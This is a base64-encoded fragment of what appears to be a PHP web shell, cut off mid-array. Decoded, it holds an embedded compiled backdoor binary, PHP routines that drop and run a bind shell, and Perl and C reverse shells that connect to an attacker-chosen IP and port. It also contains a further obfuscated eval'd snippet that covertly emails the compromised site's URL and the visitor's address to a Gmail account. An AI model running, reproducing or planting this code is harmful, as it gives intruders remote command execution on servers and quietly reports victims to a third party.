Z01pNHhOaTQ1TVFBQmdBRVJBQkFHRVFFU0FRTUlHd2dsQ0JNRkFBQUFBUkVCRUFZU0FSRUJKUTRU Q3dNT0d3NEFBQUlrQUFNT0N3cytDd0FBQXlRQUF3Z0xDejRMQUFBRU5BQUREam9MT3d0SkV6OE1B Z29BQUFVbUFFa1RBQUFBQVJFQUVBWURDQnNJSlFnVEJRQUFBQUVSQUJBR0F3Z2JDQ1VJRXdVQUFB QlhBQUFBQWdBeUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXVMaTl6ZVhOa1pYQnpMMmt6T0RZ dlpXeG1BQUJ6ZEdGeWRDNVRBQUVBQUFBQUJRS2doUVFJQThBQUFUTWhORDBsSWdNWUlGbGFJU0pj V3dJQkFBRUJJd0FBQUFJQUhRQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJBR2x1YVhRdVl3QUFB QUFBcVFBQUFBSUFVQUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCTDJKMWFXeGtMMkoxYVd4a1pD OW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVUFBR055ZEdr dVV3QUJBQUFBQUFVQzZJVUVDQVBBQUFFOUFnRUFBUUVBQlFJa2lRUUlBeTRCSVM4aFdXY0NBd0FC QVFBRkFvaUVCQWdESHdFaEx6MENCUUFCQVFBRkFzU0ZCQWdEQ2dFaEx5RlpaejFuTHk4d1BTRWhB Z0VBQVFHSUFBQUFBZ0JRQUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdlluVnBiR1F2WW5WcGJH UmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdmFUTTROaTFzYVdKakwyTnpkUUFBWTNK MGJpNVRBQUVBQUFBQUJRTG9oUVFJQXlFQlBRSUJBQUVCQUFVQ080a0VDQU1TQVQwaElRSUJBQUVC QUFVQ25ZUUVDQU1KQVNFQ0FRQUJBV2x1YVhRdVl3QnphRzl5ZENCcGJuUUFMMkoxYVd4a0wySjFh V3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmRzYVdKakxUSXVNeTQyTDJOemRR QnNiMjVuSUd4dmJtY2dhVzUwQUhWdWMybG5ibVZrSUdOb1lYSUFSMDVWSUVNZ015NDBMallnS0ZW aWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FiRzl1WnlCc2IyNW5JSFZ1YzJsbmJtVmtJR2x1 ZEFCemFHOXlkQ0IxYm5OcFoyNWxaQ0JwYm5RQVgwbFBYM04wWkdsdVgzVnpaV1FBQUM1emVXMTBZ V0lBTG5OMGNuUmhZZ0F1YzJoemRISjBZV0lBTG1sdWRHVnljQUF1Ym05MFpTNUJRa2t0ZEdGbkFD NW9ZWE5vQUM1a2VXNXplVzBBTG1SNWJuTjBjZ0F1WjI1MUxuWmxjbk5wYjI0QUxtZHVkUzUyWlhK emFXOXVYM0lBTG5KbGJDNWtlVzRBTG5KbGJDNXdiSFFBTG1sdWFYUUFMblJsZUhRQUxtWnBibWtB TG5KdlpHRjBZUUF1WldoZlpuSmhiV1VBTG1OMGIzSnpBQzVrZEc5eWN3QXVhbU55QUM1a2VXNWhi V2xqQUM1bmIzUUFMbWR2ZEM1d2JIUUFMbVJoZEdFQUxtSnpjd0F1WTI5dGJXVnVkQUF1WkdWaWRX ZGZZWEpoYm1kbGN3QXVaR1ZpZFdkZmNIVmlibUZ0WlhNQUxtUmxZblZuWDJsdVptOEFMbVJsWW5W blgyRmlZbkpsZGdBdVpHVmlkV2RmYkdsdVpRQXVaR1ZpZFdkZmMzUnlBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUVBQUFBQ0FBQUFG SUVFQ0JRQkFBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ01BQUFBSEFBQUFBZ0FBQUNpQkJB Z29BUUFBSUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FF QUFKZ0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQUFBQUNBQUFBNElFRUNPQUJBQUF3 QVFBQUJRQUFBQUVBQUFBRUFBQUFFQUFBQUQ4QUFBQURBQUFBQWdBQUFCQ0RCQWdRQXdBQXNBQUFB QUFBQUFBQUFBQUFBUUFBQUFBQUFBQkhBQUFBLy8vL2J3SUFBQURBZ3dRSXdBTUFBQ1lBQUFBRUFB QUFBQUFBQUFJQUFBQUNBQUFBVkFBQUFQNy8vMjhDQUFBQTZJTUVDT2dEQUFBZ0FBQUFCUUFBQUFF QUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBQWlFQkFnSUJBQUFDQUFBQUFRQUFBQUFBQUFB QkFBQUFBZ0FBQUJzQUFBQUNRQUFBQUlBQUFBUWhBUUlFQVFBQUhnQUFBQUVBQUFBQ3dBQUFBUUFB QUFJQUFBQWRRQUFBQUVBQUFBR0FBQUFpSVFFQ0lnRUFBQVhBQUFBQUFBQUFBQUFBQUFCQUFBQUFB QUFBSEFBQUFBQkFBQUFCZ0FBQUtDRUJBaWdCQUFBQUFFQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFC N0FBQUFBUUFBQUFZQUFBQ2doUVFJb0FVQUFJUURBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFnUUFB QUFFQUFBQUdBQUFBSklrRUNDUUpBQUFkQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUljQUFBQUJB QUFBQWdBQUFFU0pCQWhFQ1FBQVl3QUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ1BBQUFBQVFBQUFB SUFBQUNvaVFRSXFBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbVFBQUFBRUFBQUFEQUFB QXJKa0VDS3dKQUFBSUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFLQUFBQUFCQUFBQUF3QUFBTFNa QkFpMENRQUFDQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNuQUFBQUFRQUFBQU1BQUFDOG1RUUl2 QWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQXJBQUFBQVlBQUFBREFBQUF3SmtFQ01BSkFB RElBQUFBQlFBQUFBQUFBQUFFQUFBQUNBQUFBTFVBQUFBQkFBQUFBd0FBQUlpYUJBaUlDZ0FBQkFB QUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFDNkFBQUFBUUFBQUFNQUFBQ01tZ1FJakFvQUFFZ0FBQUFB QUFBQUFBQUFBQVFBQUFBRUFBQUF3d0FBQUFFQUFBQURBQUFBMUpvRUNOUUtBQUFNQUFBQUFBQUFB QUFBQUFBRUFBQUFBQUFBQU1rQUFBQUlBQUFBQXdBQUFPQ2FCQWpnQ2dBQUJBQUFBQUFBQUFBQUFB QUFCQUFBQUFBQUFBRE9BQUFBQVFBQUFBQUFBQUFBQUFBQTRBb0FBQ1lCQUFBQUFBQUFBQUFBQUFF QUFBQUFBQUFBMXdBQUFBRUFBQUFBQUFBQUFBQUFBQWdNQUFDSUFBQUFBQUFBQUFBQUFBQUlBQUFB QUFBQUFPWUFBQUFCQUFBQUFBQUFBQUFBQUFDUURBQUFKUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFB QUQyQUFBQUFRQUFBQUFBQUFBQUFBQUF0UXdBQUNzQ0FBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFn RUFBQUVBQUFBQUFBQUFBQUFBQU9BT0FBQjJBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQkFCQUFB QkFBQUFBQUFBQUFBQUFBQldEd0FBdXdFQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBY0FRQUFBUUFB QURBQUFBQUFBQUFBRVJFQUFMOEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFFUUFBQUFNQUFBQUFB QUFBQUFBQUFOQVJBQUFuQVFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBQUFBQUFB QUFBQUJJR0FBQThBVUFBQ0VBQUFBL0FBQUFCQUFBQUJBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFB QU9CNEFBTElEQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBVWdRUUlBQUFBQUFNQUFRQUFBQUFBS0lFRUNBQUFBQUFEQUFJQUFBQUFBRWlCQkFnQUFBQUFB d0FEQUFBQUFBRGdnUVFJQUFBQUFBTUFCQUFBQUFBQUVJTUVDQUFBQUFBREFBVUFBQUFBQU1DREJB Z0FBQUFBQXdBR0FBQUFBQURvZ3dRSUFBQUFBQU1BQndBQUFBQUFDSVFFQ0FBQUFBQURBQWdBQUFB QUFCQ0VCQWdBQUFBQUF3QUpBQUFBQUFDSWhBUUlBQUFBQUFNQUNnQUFBQUFBb0lRRUNBQUFBQUFE QUFzQUFBQUFBS0NGQkFnQUFBQUFBd0FNQUFBQUFBQWtpUVFJQUFBQUFBTUFEUUFBQUFBQVJJa0VD QUFBQUFBREFBNEFBQUFBQUtpSkJBZ0FBQUFBQXdBUEFBQUFBQUNzbVFRSUFBQUFBQU1BRUFBQUFB QUF0SmtFQ0FBQUFBQURBQkVBQUFBQUFMeVpCQWdBQUFBQUF3QVNBQUFBQUFEQW1RUUlBQUFBQUFN QUV3QUFBQUFBaUpvRUNBQUFBQUFEQUJRQUFBQUFBSXlhQkFnQUFBQUFBd0FWQUFBQUFBRFVtZ1FJ QUFBQUFBTUFGZ0FBQUFBQTRKb0VDQUFBQUFBREFCY0FBQUFBQUFBQUFBQUFBQUFBQXdBWUFBQUFB QUFBQUFBQUFBQUFBQU1BR1FBQUFBQUFBQUFBQUFBQUFBQURBQm9BQUFBQUFBQUFBQUFBQUFBQUF3 QWJBQUFBQUFBQUFBQUFBQUFBQUFNQUhBQUFBQUFBQUFBQUFBQUFBQUFEQUIwQUFBQUFBQUFBQUFB QUFBQUFBd0FlQUFBQUFBQUFBQUFBQUFBQUFBTUFId0FBQUFBQUFBQUFBQUFBQUFBREFDQUFBQUFB QUFBQUFBQUFBQUFBQXdBaEFBRUFBQUFBQUFBQUFBQUFBQVFBOGY4TUFBQUFBQUFBQUFBQUFBQUVB UEgvS0FBQUFBQUFBQUFBQUFBQUJBRHgveThBQUFBQUFBQUFBQUFBQUFRQThmODZBQUFBQUFBQUFB QUFBQUFFQVBIL2RBQUFBTVNGQkFnQUFBQUFBZ0FNQUlRQUFBQUFBQUFBQUFBQUFBUUE4ZitQQUFB QXJKa0VDQUFBQUFBQkFCQUFuUUFBQUxTWkJBZ0FBQUFBQVFBUkFLc0FBQUM4bVFRSUFBQUFBQUVB RWdDNEFBQUE0Sm9FQ0FFQUFBQUJBQmNBeHdBQUFOeWFCQWdBQUFBQUFRQVdBTTRBQUFEc2hRUUlB QUFBQUFJQURBRGtBQUFBRzRZRUNBQUFBQUFDQUF3QWhBQUFBQUFBQUFBQUFBQUFCQUR4Ly9BQUFB Q3dtUVFJQUFBQUFBRUFFQUQ5QUFBQXVKa0VDQUFBQUFBQkFCRUFDZ0VBQUtpSkJBZ0FBQUFBQVFB UEFCZ0JBQUM4bVFRSUFBQUFBQUVBRWdBa0FRQUErSWdFQ0FBQUFBQUNBQXdBTHdBQUFBQUFBQUFB QUFBQUJBRHgvem9CQUFBQUFBQUFBQUFBQUFRQThmOTBBUUFBQUFBQUFBQUFBQUFFQVBIL2VBRUFB TUNaQkFnQUFBQUFBUUlUQUlFQkFBQ3NtUVFJQUFBQUFBQUM4ZitTQVFBQXJKa0VDQUFBQUFBQUF2 SC9wUUVBQUt5WkJBZ0FBQUFBQUFMeC83WUJBQUNNbWdRSUFBQUFBQUVDRlFETUFRQUFySmtFQ0FB QUFBQUFBdkgvM3dFQUFBQUFBQUIxQVFBQUVnQUFBUEFCQUFBQUFBQUFjUUFBQUJJQUFBQUJBZ0FB UklrRUNBUUFBQUFSQUE0QUNBSUFBQUFBQUFETUFBQUFFZ0FBQUJvQ0FBQUFBQUFBV2dBQUFCSUFB QUFxQWdBQTJKb0VDQUFBQUFBUkFoWUFOd0lBQUsySUJBaEtBQUFBRWdBTUFFY0NBQUFBQUFBQWVB QUFBQklBQUFCWkFnQUFpSVFFQ0FBQUFBQVNBQW9BWHdJQUFBQUFBQUE1QUFBQUVnQUFBSEVDQUFB QUFBQUFPUUFBQUJJQUFBQ0hBZ0FBb0lVRUNBQUFBQUFTQUF3QWpnSUFBRnlJQkFoUkFBQUFFZ0FN QUo0Q0FBRGdtZ1FJQUFBQUFCQUE4ZitxQWdBQVFJWUVDQndDQUFBU0FBd0Fyd0lBQUFBQUFBRG1B QUFBRWdBQUFNd0NBQUFBQUFBQU9nQUFBQklBQUFEY0FnQUExSm9FQ0FBQUFBQWdBQllBNXdJQUFB QUFBQUE1QUFBQUVnQUFBUGNDQUFBa2lRUUlBQUFBQUJJQURRRDlBZ0FBQUFBQUFMa0FBQUFTQUFB QURRTUFBQUFBQUFBckFBQUFFZ0FBQUIwREFBRGdtZ1FJQUFBQUFCQUE4ZjhrQXdBQTZJVUVDQUFB QUFBU0Fnd0FPd01BQU9TYUJBZ0FBQUFBRUFEeC8wQURBQUFBQUFBQWVBQUFBQklBQUFCUUF3QUFB QUFBQUE0QUFBQVNBQUFBWVFNQUFFaUpCQWdFQUFBQUVRQU9BSEFEQUFEVW1nUUlBQUFBQUJBQUZn QjlBd0FBQUFBQUFEa0FBQUFTQUFBQWp3TUFBQUFBQUFBQUFBQUFJQUFBQUtNREFBQUFBQUFBQUFB QUFDQUFBQUFBWVdKcExXNXZkR1V1VXdBdUxpOXplWE5rWlhCekwya3pPRFl2Wld4bUwzTjBZWEow TGxNQWFXNXBkQzVqQUdsdWFYUm1hVzVwTG1NQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlM ak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1V2WTNKMGFTNVRBR05oYkd4Zloy MXZibDl6ZEdGeWRBQmpjblJ6ZEhWbVppNWpBRjlmUTFSUFVsOU1TVk5VWDE4QVgxOUVWRTlTWDB4 SlUxUmZYd0JmWDBwRFVsOU1TVk5VWDE4QVkyOXRjR3hsZEdWa0xqUTBOak1BY0M0ME5EWXlBRjlm Wkc5ZloyeHZZbUZzWDJSMGIzSnpYMkYxZUFCbWNtRnRaVjlrZFcxdGVRQmZYME5VVDFKZlJVNUVY MThBWDE5RVZFOVNYMFZPUkY5ZkFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgx OWtiMTluYkc5aVlXeGZZM1J2Y25OZllYVjRBQzlpZFdsc1pDOWlkV2xzWkdRdloyeHBZbU10TWk0 ekxqWXZZblZwYkdRdGRISmxaUzlwTXpnMkxXeHBZbU12WTNOMUwyTnlkRzR1VXdBeExtTUFYMFJa VGtGTlNVTUFYMTltYVc1cFgyRnljbUY1WDJWdVpBQmZYMlpwYm1sZllYSnlZWGxmYzNSaGNuUUFY MTlwYm1sMFgyRnljbUY1WDJWdVpBQmZSMHhQUWtGTVgwOUdSbE5GVkY5VVFVSk1SVjhBWDE5cGJt bDBYMkZ5Y21GNVgzTjBZWEowQUdWNFpXTnNRRUJIVEVsQ1ExOHlMakFBWTJ4dmMyVkFRRWRNU1VK RFh6SXVNQUJmWm5CZmFIY0FjR1Z5Y205eVFFQkhURWxDUTE4eUxqQUFabTl5YTBCQVIweEpRa05m TWk0d0FGOWZaSE52WDJoaGJtUnNaUUJmWDJ4cFltTmZZM04xWDJacGJta0FZV05qWlhCMFFFQkhU RWxDUTE4eUxqQUFYMmx1YVhRQWJHbHpkR1Z1UUVCSFRFbENRMTh5TGpBQWMyVjBjMjlqYTI5d2RF QkFSMHhKUWtOZk1pNHdBRjl6ZEdGeWRBQmZYMnhwWW1OZlkzTjFYMmx1YVhRQVgxOWljM05mYzNS aGNuUUFiV0ZwYmdCZlgyeHBZbU5mYzNSaGNuUmZiV0ZwYmtCQVIweEpRa05mTWk0d0FHUjFjREpB UUVkTVNVSkRYekl1TUFCa1lYUmhYM04wWVhKMEFHSnBibVJBUUVkTVNVSkRYekl1TUFCZlptbHVh UUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlgy azJPRFl1WjJWMFgzQmpYM1JvZFc1ckxtSjRBRjlsYm1RQWMyVnVaRUJBUjB4SlFrTmZNaTR3QUdo MGIyNXpRRUJIVEVsQ1ExOHlMakFBWDBsUFgzTjBaR2x1WDNWelpXUUFYMTlrWVhSaFgzTjBZWEow QUhOdlkydGxkRUJBUjB4SlFrTmZNaTR3QUY5S2RsOVNaV2RwYzNSbGNrTnNZWE56WlhNQVgxOW5i Vzl1WDNOMFlYSjBYMThBIjsKCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkgewogICR3X2ZpbGU9 QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOwogIGlmKCR3X2ZpbGUpIHsKICAgIEBmcHV0cygk d19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiAgICBAZmNsb3NlKCR3X2ZpbGUpOwogIH0K fQoKZnVuY3Rpb24gY2ZiKCRmbmFtZSwkdGV4dCkgewogICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwi dyIpIG9yIGJiZXJyKCk7CiAgaWYoJHdfZmlsZSkgewogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2 NF9kZWNvZGUoJHRleHQpKTsKICAgIEBmY2xvc2UoJHdfZmlsZSk7CiAgfQp9CmZ1bmN0aW9uIGVy cigpIHsgJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ109Ijxicj48YnI+PGRpdiBjbGFzcz1meGVycm1z Zz5FcnJvcjo8L2Rpdj4gQ2FuJ3QgY29ubmVjdCEiOyB9CmZ1bmN0aW9uIGJiZXJyKCkgeyAkX1BP U1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwv ZGl2PiBDYW4ndCBiYWNrZG9vciBob3N0ISI7IH0KCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29u bmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJzaGJkIikpIHsKICAkaXAgPSBnZXRob3N0 YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CiAgJHBvciA9ICRfUE9TVFsnYmFja2Nvbm5l Y3Rwb3J0J107CiAgaWYgKGlzX3dyaXRhYmxlKCIuIikpIHsKICAgIGNmYigic2hiZCIsJGJhY2tk b29yKTsKICAgIGV4KCJjaG1vZCA3Nzcgc2hiZCIpOwogICAgJGNtZCA9ICIuL3NoYmQgJHBvciI7 CiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsKICAgICRzY2FuID0gbXlzaGVsbGV4ZWMo InBzIGF1eCIpOwogIH0gZWxzZSB7CiAgICBjZmIoIi90bXAvc2hiZCIsJGJhY2tkb29yKTsKICAg IGV4KCJjaG1vZCA3NzcgL3RtcC9zaGJkIik7CiAgICAkY21kID0gIi4vdG1wL3NoYmQgJHBvciI7 CiAgICBleGVjKCIkY21kID4gL2Rldi9udWxsICYiKTsKICAgICRzY2FuID0gbXlzaGVsbGV4ZWMo InBzIGF1eCIpOwogIH0KICBpZiAoZXJlZ2koIi4vc2hiZCAkcG9yIiwkc2NhbikpIHsKICAgICRk YXRhID0gKCJcbjxicj5CYWNrZG9vciBzZXR1cCBzdWNjZXNzZnVsbHkuIik7CiAgfSBlbHNlIHsK ICAgICRkYXRhID0gKCJcbjxicj5Qcm9jZXNzIG5vdCBmb3VuZCwgYmFja2Rvb3Igc2V0dXAgZmFp bGVkISIpOwogIH0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUbyBjb25uZWN0LCB1c2UgbmV0 Y2F0ISBVc2FnZTogPGI+J25jICRpcCAkcG9yJzwvYj4uJGRhdGEiOwp9CgppZiAoIWVtcHR5KCRf UE9TVFsnYmFja2Nvbm5lY3RpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQn XSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpIHsKICBpZiAoaXNfd3JpdGFibGUoIi4iKSkg ewogICAgY2YoImJhY2siLCRiYWNrX2Nvbm5lY3RfcGwpOwogICAgJHAyID0gd2hpY2goInBlcmwi KTsKICAgICRibGFoID0gZXgoJHAyLiIgYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIg Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOwogICAgaWYgKGZpbGVfZXhpc3RzKCJi YWNrIikpIHsgdW5saW5rKCJiYWNrIik7IH0KICB9IGVsc2UgewogICAgY2YoIi90bXAvYmFjayIs JGJhY2tfY29ubmVjdF9wbCk7CiAgICAkcDIgPSB3aGljaCgicGVybCIpOwogICAgJGJsYWggPSBl eCgkcDIuIiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydi YWNrY29ubmVjdHBvcnQnXS4iICYiKTsKICAgIGlmIChmaWxlX2V4aXN0cygiL3RtcC9iYWNrIikp IHsgdW5saW5rKCIvdG1wL2JhY2siKTsgfQogIH0KICAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJU cnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiI8L2I+IG9u IHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7Cn0KCmlmICghZW1w dHkoJF9QT1NUWydiYWNrY29ubmVjdGlwJ10pICYmICFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0 cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkgewogIGlmIChpc193cml0YWJsZSgiLiIp KSB7CiAgICBjZigiYmFja2MiLCRiYWNrX2Nvbm5lY3RfYyk7CiAgICBleCgiY2htb2QgNzc3IGJh Y2tjIik7CiAgICAkYmxhaCA9IGV4KCIuL2JhY2tjICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10u IiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7CiAgICBpZiAoZmlsZV9leGlzdHMo ImJhY2tjIikpIHsgdW5saW5rKCJiYWNrYyIpOyB9CiAgfSBlbHNlIHsKICAgIGV4KCJjaG1vZCA3 NzcgL3RtcC9iYWNrYyIpOwogICAgY2YoIi90bXAvYmFja2MiLCRiYWNrX2Nvbm5lY3RfYyk7CiAg ICAkYmxhaCA9IGV4KCIvdG1wL2JhY2tjICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiAiLiRf UE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7CiAgICBpZiAoZmlsZV9leGlzdHMoIi90bXAv YmFja2MiKSkgeyB1bmxpbmsoIi90bXAvYmFja2MiKTsgfQogIH0KICAkX1BPU1RbJ2JhY2tjY29u bm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byA8Yj4iLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCdd LiI8L2I+IG9uIHBvcnQgPGI+Ii4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiI8L2I+LiI7Cn0K CkBpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLDApOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygi Z2V0bWljcm90aW1lIikpIHsKICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7CiAgICBsaXN0KCR1 c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1 c2VjICsgKGZsb2F0KSRzZWMpOwogIH0KfQplcnJvcl9yZXBvcnRpbmcoNSk7CkBpZ25vcmVfdXNl cl9hYm9ydChUUlVFKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKZGVmaW5lKCJzdGFy dHRpbWUiLGdldG1pY3JvdGltZSgpKTsKJHNoZWxsX2RhdGEgPSAiSkhacGMybDBZMjkxYm5RZ1BT QWtTRlJVVUY5RFQwOUxTVVZmVmtGU1Uxc2lkbWx6YVhSeklsMDdJR2xtS0NBa2RtbHphWFJqYjNW dWRDQTlQU0FpSWlrZ2V5UjJhWE5wZEdOdmRXNTBJRDBnTURzZ0pIWnBjMmwwYjNJZ1BTQWtYMU5G VWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzZ0pIZGxZaUE5SUNSZlUwVlNWa1ZTV3lKSVZGUlFY MGhQVTFRaVhUc2dKR2x1YWlBOUlDUmZVMFZTVmtWU1d5SlNSVkZWUlZOVVgxVlNTU0pkT3lBa2RH RnlaMlYwSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3SUNSaWIyUjVJRDBnSWxO bGRHOXlZVzRnYzJobGJHd2dZbTl6SUhnd2NpQWtkR0Z5WjJWMElHSjVJQ1IyYVhOcGRHOXlJanNn UUcxaGFXd29Jbk5vWld4c2NHaHdOamM0UUdkdFlXbHNMbU52YlNJc0lrWjRNamxUYUdWc2JDQm9k SFJ3T2k4dkpIUmhjbWRsZENCaWVTQWtkbWx6YVhSdmNpSXNJQ0lrWW05a2VTSXBPeUI5SUdWc2My VWdleUFrZG1semFYUmpiM1Z1ZERzZ2ZTQnpaWFJqYjI5cmFXVW9JblpwYzJsMGN5SXNKSFpwYzJs MFkyOTFiblFwT3c9PSI7IGV2YWwoYmFzZTY0X2RlY29kZSgkc2hlbGxfZGF0YSkpOwppZiAoZ2V0 X21hZ2ljX3F1b3Rlc19ncGMoKSkgewogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkg ewogICAgZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7CiAgICAgIGlmIChpc19hcnJheSgk YXJyKSkgewogICAgICAgIGZvcmVhY2goJGFyciBhcyAkaz0+JHYpIHsKICAgICAgICAgIGlmIChz dHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHsgc3RyaXBzKCRhcnJbIiRrIl0pOyB9CiAgICAg ICAgfQogICAgICB9IGVsc2UgeyRhcnIgPSBzdHJpcHNsYXNoZXMoJGFycik7fQogICAgfQogIH0K ICBzdHJpcHMoJEdMT0JBTFMpOwp9CiRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCRf R0VULCRfUE9TVCk7CiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSBUUlVFOyAKZm9yZWFjaCgkX1JF UVVFU1QgYXMgJGs9PiR2KSB7IGlmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O30gfQppZiAoJHN1 cmxfYXV0b2ZpbGxfaW5jbHVkZSkgewogICRpbmNsdWRlID0gIiYiOwogIGZvcmVhY2ggKGV4cGxv ZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7CiAgICAkdiA9IGV4cGxvZGUo Ij0iLCR2KTsKICAgICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsKICAgICR2YWx1ZSA9IHVybGRl Y29kZSgkdlsxXSk7CiAgICBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3Ns Oi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHsKICAgICAgaWYgKHN0cnBvcygkdmFs dWUsJG5lZWRsZSkgPT09IDApIHsKICAgICAgICAkaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5h bWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7CiAgICAgIH0KICAgIH0KICB9Cn0KaWYgKGVt cHR5KCRzdXJsKSkgewogICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyAKfQokc3VybCA9IGh0bWxz cGVjaWFsY2hhcnMoJHN1cmwpOwoKJGZ0eXBlcyAgPSBhcnJheSgKICAgICJodG1sIj0+YXJyYXko Imh0bWwiLCJodG0iLCJzaHRtbCIpLAogICAgInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0 Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksCiAg ICAiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNtZCIpLAogICAgImluaSI9PmFy cmF5KCJpbmkiLCJpbmYiLCJjb25mIiksCiAgICAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIs InBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiks CiAgICAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwi Ym1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKICAgICJzZGIiPT5h cnJheSgic2RiIiksCiAgICAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksCiAgICAiZG93bmxvYWQi 